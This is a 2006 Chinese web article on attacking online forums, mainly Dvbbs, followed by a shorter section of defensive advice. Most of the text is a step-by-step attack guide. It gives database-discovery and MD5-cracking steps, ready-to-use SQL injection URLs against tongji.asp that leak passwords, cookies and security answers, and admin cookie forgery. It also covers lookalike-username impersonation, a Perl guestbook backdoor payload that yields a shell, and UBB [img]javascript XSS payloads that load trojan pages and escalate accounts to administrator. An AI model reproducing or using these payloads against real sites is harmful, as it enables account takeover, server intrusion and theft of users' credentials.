黑客入侵論壇各種手段大暴光
[日期:2006-05-29] | 來源: 作者: | [字體:大 中 小] |
黑客入侵論壇各種手段大暴光
目前網上有種新的趨勢,黑客們的攻擊目標開始從網站延伸到論壇和聊天室及留言板等公共場所,而許多用戶的論壇密碼竟然與E-mail和QQ的密碼完全相同,因此對大家的網路安全威脅非常大。換個角度來說,黑客們通過入侵這些地方,可以得到更高的許可權。比如通過80埠進行滲透入侵,甚至於還可以得到論壇和聊天室、留言板等服務主機的最高許可權,是不是很可怕?許多人以為只有黑客高手才能做到這一點,其實不然,只要簡單的幾步,連菜鳥都能得到論壇或聊天室及留言板的一切!本文將以常見的論壇為例,談談主要的論壇攻擊方法和防範手段。
針對論壇的攻擊手段
第一招:霸王硬上弓破解論壇資料庫
目前很多國內論壇都採用了動網先鋒引擎(一款由ASPSKY.NET開發和維護的asp論壇引擎)。要想控制整個論壇就得有管理員密碼,怎樣才能得到動網論壇的管理員密碼呢?黑客常用的招數之一是先獲得動網論壇的資料庫文件,然後再破解資料庫中的管理員密碼,不過該資料庫文件中的密碼是用MD5加密的,所以要使用工具軟體進行破解。舉個例子,黑客會可以先猜一下資料庫文件存放在哪個目錄里,如果猜對的話下載資料庫的成功率就比較高了。一般說來,管理員都有個習慣,就是給資料庫文件存放的目錄起個好記的名字,如data、database、bd、mdb等。所以黑客們可以在瀏覽器中輸入:http://www.target.com/database或http://www.target.com/mdb或者是http://www.target.com/db試試,如果顯示「HTTP錯誤404-找不到文件」,說明對方沒有這個目錄,再換一個目錄名試試,假設你輸入http://www.target.com/data,顯示「HTTP錯誤403-禁止訪問」,則說明對方有這個目錄,但是不允許我們瀏覽該目錄,這樣就有希望了!
下一步只要有辦法找到資料庫文件並下載下來就有希望得到對方的管理員密碼。比方說,黑客可以使用漏洞掃描器X-SCAN掃描目標,看是否有漏洞,如果目標做了埠過濾,只開了80埠,我們可以這樣試試:把一些常用的資料庫地址如data.mdb、db.mdb、database.asp等添加到X-Scan的CGI資料庫中,或者用一些黑客字典來生成資料庫地址,然後單獨作一個資料庫,把它添加到X-Scan的CGI資料庫中。然後只掃描CGI漏洞,過一段時間掃描完畢,假設顯示的掃描結果為「/data/database.asp」,就表示我們成功地掃描到了資料庫文件。現在用下載工具把資料庫下載下來即可,然後把文件擴展名改為.mdb。接下來就可以使用MD5的暴力破解程序和字典解出密碼。不要小瞧了這個辦法,許多人就是這樣破解了你的論壇管理員密碼!
第二招:溫柔一刀成為論壇管理員 仍舊以動網先鋒論壇為例。最近該論壇出現一個漏洞,使得普通用戶可以輕鬆地獲得論壇中任意用戶的密碼,包括管理員在內!由於其tongji.asp文件沒有過濾用戶提交SQL查詢的輸入,導致遠程攻擊者可以利用這個漏洞進行SQL攻擊,進而威脅論壇或伺服器安全。注意,該手段對DVBBS VER 6.0.0及6.0.0 SP1、SP2都有效,對低版本的動網論壇也有效,而且無論資料庫是ACCESS還是MS SQL都通吃。
攻擊方法為:找到你的目標論壇,然後輸入其網址,假設為http://www.target.com/asp/dvbbs/index.asp,然後查詢管理員的名字,每個論壇中都有這樣的人,記住該人的論壇ID。接著在瀏覽器地址欄中輸入:http://www.target.com/dvbbs/tongji.asp?orders=2&N=10,注意「N=」後面你可以隨意寫上任何數字,它表示你想查詢幾個論壇用戶,回車即可看到該論壇的用戶名(如圖1)。看到其中的管理員的名字了嗎?OK,接下來在地址欄中輸入「http://www.target.com/dvbbs/tongji.asp?orders=2&N=10%20userclass,」,這樣就會查到這些人在論壇中的身份(如圖2),注意其中的管理員身份的人,他具有最高許可權,黑客的目標就是他。下一步,請在地址欄中輸入「http://www.target.com/dvbbs/tongji.asp?orders=2&N=10%20userid,」,回車後在你看到的窗口中(如圖3)記住管理員的ID在論壇中是第幾位註冊用戶,假設為1。再下一步,在地址欄中輸入「http://www.target.com/dvbbs/tongji.asp?orders=2&N=10%20userpassword,」,這樣你就會看到論壇中用戶的密碼(如圖4),可惜是經過MD5加密處理的,但這已經足夠了。最後再輸入「http://www.target.com/dvbbs/tongji.asp?orders=2&N=10%20usercookies,」,回車後在出現的窗口中(如圖5)記下管理員的usercookies的值,一般為0。好了,到現在黑客就得到管理員的Cookies的內容了,他可以通過在本機中偽造管理員的Cookies來入侵論壇。如果你輸入「http://www.target.com/dvbbs/tongji.asp?orders=2&N=10%20quesion,」,還可以得到論壇中用戶忘記密碼時的密碼提示問題,輸入「http://www.target.com/dvbbs/tongji.asp?orders=2&N=10%20answer,」可以得到他的問題答案(也是MD5加密的)!
接下來在該論壇新註冊一個新用戶,然後用Cookies管理軟體(如iecv)改造自己在該論壇的Cookies。其實,這一步的目的就是通過Cookies來讓論壇以為你就是管理員,因為論壇判定是否是管理員的主要方法就是通過論壇ID和密碼來實現的,而Cookies中記錄的正是論壇ID和密碼,當然這個密碼是加密存放在Cookies中的。
運行Cookies管理軟體iecv,選擇「View」菜單下的「Obsolete cookie file」,就可以看到你的電腦中的Cookies文件了。由於你是新註冊的論壇ID,所以在iecv的主界面的最開頭就可以看到該論壇的Cookies文件,在它前面打上「√」,然後右鍵單擊界面中央的aspsky,選擇彈出菜單中的「編輯Cookie的內容」(圖6),然後就可以編輯你的Cookies內容了,把裡面的內容替換為你剛剛查到的內容即可。最後關閉該軟體,並關閉瀏覽器,重新輸入該論壇的地址,進入後黑客就會成為該論壇的管理員了!此時這個論壇就在黑客的掌握之中了,幹什麼都可以隨心所欲了!
第三招:魚目混珠冒名發言 舉個例子,黑客可以在打開記事本後按下tab鍵或CapsLock+Tab鍵,這樣就會形成一個特殊的空格。複製該空格,用他想冒名發言的用戶名加上該空格註冊一個新用戶,這樣就會成功註冊一個和對方一樣的名字,接下來就可以冒名發言了,稍不留意別人就會上當。形成特殊空格還可以採用區位輸入法輸入aaaa或aaab或aaac。另外在html標籤里還可以使用 ( 就是顯示空白內容的意思)製造一個特殊的空格。用區位輸入法輸入的aaaa/aaab/aaac在ASP編寫的程序里冒名的成功率極高,而tab鍵和 製造的特殊空格在php程序里成功率更高些。更可怕的是,在wdb論壇和ibb論壇,用Tab鍵構造的特殊用戶名可以取得和原用戶相同的許可權。如果原用戶名是管理員,那黑客構造的這個冒名用戶也會變成管理員!
第四招:暗渡陳倉形成網頁後門 大家知道,在cgi或perl程序里如果寫入「system @ARGV;#」(注意輸入時沒有引號),就會形成一個有趣的網頁後門。在IE地址欄中輸入http://ip/*.pl?dir就會看到網站的物理目錄。以網上非常流行的Agbii免費cgi留言本為例,該留言本里的留言是以第n條留言的數目、用戶名、標題和內容等等來排列的,而且留言都是按照順序排放在一個固定目錄data/用戶名下面的。說起來好像很複雜,讓我們來看圖7,假設這是黑客在Agbii免費cgi留言本中的留言,它是該留言本中的第14條留言,假設其註冊的用戶名是;system,標題為@ARGV;#,內容則是「呵呵」,在data/222目錄下的14.pl的文件內容就是如圖8所示。由於此留言本的用戶就是222,因此只要黑客在瀏覽器地址欄中輸入http://IP/book/data/222/14.pl?dir就會得到一個shell了(圖9)。注意這裡的http://IP/book/是留言本的地址。得到shell之後,黑客還可以得到該管理員的密碼!只要在瀏覽器的地址欄中輸入「http://IP/book/data/管理員名字/14.pl?type+該留言本的物理目錄user管理員名字.cgi」就可以了。以本文為例,只要輸入「http://www.xxx.com/book/data/lxgyp/14.pl?type+d:虛擬主機webookuserlxgyp.cgi」就可以得到該管理員的用戶名和密碼、註冊時的郵件地址、他的網站地址、IP地址以及登陸時間,一目了然,盡在掌握!
第五招:太公釣魚進行跨站腳本攻擊 還有一種比較有趣也比較難利用的方法,其實就是所謂的跨站腳本攻擊。先說一個有趣的現象,在論壇中流行的UBB代碼中有一個bug,[img]和[/img]這對標籤是UBB代碼中經常會用到的,用來引用一個圖片。在[img]和[/img]中如果插入的不是圖像而是javascript腳本它同樣會執行!舉個例子,如假設你在某論壇中所發帖子內容為:[img]javascript:alert("黑客")[/img],當有人點擊這個貼子就會彈出一個對話框。 如果把上面的內容換為:[img]javascript:alert("黑客");self.open("http://url")[/img],則點擊後不僅會彈出一個對話框,而且還會打開一個新的網頁窗口。如果黑客在這個網頁里放入網頁木馬會怎麼樣呢?答案是你會中木馬!不僅如此,利用這個辦法還可以使論壇中沒有任何許可權的用戶提升為管理員!假設某論壇加新管理員hacker的url是http://ip/bbs/upadmin?user=hacker,由於這個url只有以管理員身份執行才可以成功,所以你直接在地址欄中輸入是沒有任何用處的。但是利用剛剛提到的跨站腳本攻擊,只要黑客先註冊一個名為hacker的用戶,然後新建一個帖子,在裡面寫入:[img]javascript:alert("黑客");self.open("http://ip/bbs/upadmin?user=hacker")[/img],然後給這個帖子起個醒目的主題,如「管理員論壇好像有大漏洞」,來引誘該論壇的管理員來查看此貼,當管理員點擊此貼後,hacker這個用戶就會提升為該論壇的管理員!同樣的道理,黑客還可以上傳一個txt附件,txt文件里就是那個加hacker管理員的url,由於IE瀏覽器存在一個問題,即只要文件裡面含有html代碼就會執行(IE才不理會後綴名是什麼呢),所以論壇管理員只要點此txt附件,就會在論壇中增加一個名為hacker的管理員。如果對[img][/img]之間或txt附件裡面的代碼進行精心偽造,黑客還可以讓論壇管理員在點擊帖子或txt附件後毫無察覺,所以很難防範。
之所以會出現論壇或留言板等遭受攻擊,關鍵是由於有漏洞存在,只要將這些漏洞堵上就沒有問題了。但是許多漏洞的存在是由於論壇或留言板編程時作者的疏漏所致,作為使用者是較難防範的,我們只能寄希望於作者早日解決這些問題。從這個角度來說,論壇管理員經常給自己的論壇打補丁是必不可少的。應該經常留心各大黑客組織發布的漏洞公告,及時發現自己的論壇所存在的問題。再有,要嚴格過濾特殊字元,防止有人利用特殊字元進行攻擊。無論是管理員還是論壇中的普通用戶,都建議您能設置一個強壯的密碼,並定期更換,以防止別人暴力破解你的密碼。 針對論壇資料庫被人下載下來然後破解的問題,建議管理員能將論壇的資料庫文件改成一個沒有規律的複雜名字,並將擴展名由mdb改為asa,如3sdal9eklz9c0ad.asa,3sdal9eklz9c0ad.inc等,有點像用MD5加密過,對吧?同時還要將該文件放到深層目錄中,這樣在一定程度上可以減少被人下載的危險。 將資料庫database.mdb改成#database.mdb,這是最簡單有效的辦法。我們來解釋一下這樣做的好處:假設別人得到你的資料庫地址串將是:http://www.yourserver.com/yourfolder/#database.mdb,但實際上他得到是:http://www.yourserver.com/yourfolder/,因為#在這裡起到間斷符的作用,地址串遇到#號,自動認為訪問地址串結束。注意不要設置目錄可訪問,用這種方法,不管別人用何種工具都無法下載。註:只要資料庫文件名任何地方含有『#『,別人都無法正常下載。同理,空格號也可以起到『#『號作用,但必須是文件名中間出現空格。 另外,還要使用Access軟體來為資料庫文件編碼及加密。首先選取 「工具→安全→加密/解密資料庫」,選取資料庫文件然後確定,接著會出現「資料庫加密後另存為」的窗口,確定後文件就會被編碼加密。以上的操作並不是對資料庫設置密碼,而只是對資料庫文件加以編碼,目的是為了防止他人使用別的工具來查看資料庫文件的內容。接下來還可以為資料庫設置訪問密碼。首先打開經過編碼的庫文件,在打開時,選擇「獨佔」方式。然後選取功能表的「工具→安全→設置資料庫密碼」,接著輸入密碼即可。這樣即使他人得到了這個文件,沒有密碼也是無法看到內容的。這樣就算黑客知道Access資料庫的名字也無法輕易下載,這種方法通常在租用別人伺服器時使用。最後,建議您在IIS中把資料庫所在的目錄設為不可讀,這樣就可以防止文件被人下載了! 對於普通用戶而言,建議大家不要在論壇中留下真實的聯絡方式,如E-mail和QQ等,如果非要留下不可,論壇中你的密碼一定不要和其他密碼相同,免得被人順藤摸瓜,得到你的全部秘密!
推薦閱讀: